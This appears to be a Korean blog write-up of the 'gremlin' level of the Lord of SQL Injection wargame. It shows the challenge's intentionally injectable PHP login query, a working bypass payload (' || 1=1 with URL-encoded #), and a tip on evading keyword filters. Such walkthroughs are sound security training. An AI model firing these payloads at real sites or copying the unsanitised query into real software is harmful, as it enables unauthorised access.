[목차]
1. 분석
2. 참고
1. query : select id from prob_gremlin where id='' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attakc another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = " Select * from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("greblin");
highlight_file(__FILE__);
?>
[분석]
_ . () 세 종류의 기호가 필터링 되고 있고
id 값은 무엇을 넣어도 문제가 해결된다고 한다.
이 경우 암호 부분은 생각할 것도 없이
SQL Injection의 대표적 쿼리인
' or '1'='1' --
를 조금 변경해 사용하면 된다.
or 연산으로 값을 참으로 만들어 주면
암호 부분은 별도 입력이 필요 없으니
주석 처리를 위해 # 을 넣어준다.
하지만 # 문자가 필터링 되고 있어
query에 출력이 되지 않는다.
이럴 경우 해당 문자를
URL encoding으로 변환해 넣어주면 된다.
# = %23
정답은
?id=takudaddy' || 1=1 %23
[참고]
?id=takudaddy' or 1=1 %23
입력해도 같은 결과인데 or 대신 || 를 입력한 이유는
많은 경우 'or'이란 키워드를 필터링하기 때문.
이럴 경우를 대비해 비교적 덜 알려진 키워드나
함수 등을 사용하는 습관을 들이도록 하고
SQL Injection 문제는
시스템에서 필터링하고 있는 문자들이
무엇인지 파악하는 것이 중요하다.
728x90
'WEB 진단 > WarGame' 카테고리의 다른 글
Lord of Sql Injection 3 : goblin (0) | 2021.02.13 |
---|---|
Lord of Sql Injection 2 : cobolt (0) | 2021.02.13 |
해커스쿨 BOF 원정대 : Level2 풀기 (0) | 2020.12.21 |
해커스쿨 BOF 원정대 : 개요 및 Level1 풀기 (0) | 2020.12.21 |
해커스쿨 Hackme FTZ 문제: Level8~Level20 (Lv16까지 진행) (0) | 2020.12.16 |